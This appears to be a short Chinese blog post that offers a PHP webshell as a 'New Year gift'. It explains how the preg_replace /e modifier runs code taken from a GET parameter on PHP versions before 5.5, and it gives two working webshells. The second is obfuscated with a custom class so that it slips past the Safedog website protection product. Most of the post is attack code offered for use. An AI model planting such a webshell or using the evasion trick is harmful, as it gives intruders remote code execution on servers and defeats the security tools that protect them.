新年到了,送给大家一个PHP免杀的webshell吧。(仅限PHP5.5以下版本)
测试环境
-
PHPstudy8.0.9.2,其中PHP版本为5.2
-
网站安全狗V4.0正式版
原理
preg_replace函数中使用/e修饰符,造成命令执行。
在PHP5.5以后,/e修饰符被弃用,这种方法就不行了。
<?php
$a=$_GET['nb'];
preg_replace("/dog/e", $a, "I am a sb dog");
?>
在以上代码中,$a中内容会被当做php代码去执行。
但是,不幸的是,这样是无法绕过安全狗的。
因此我们需要对上面代码进行混淆,以便绕过安全狗。这里我采用的是自定义类。
<?php
class SBdog{
public $x;
function dog(){
$this->x=$_GET['nb'];
}
}
$class=new SBdog();
$class->dog();
$a=$class->x;
preg_replace("/dog/e", $a, "I am a sb dog");
?>
通过定义一个SBdog类,并调用dog函数,将类中$x值赋给$a,这样就可以绕过了。
ps:菜鸡写的文章,有什么错误还请大佬们多多指正。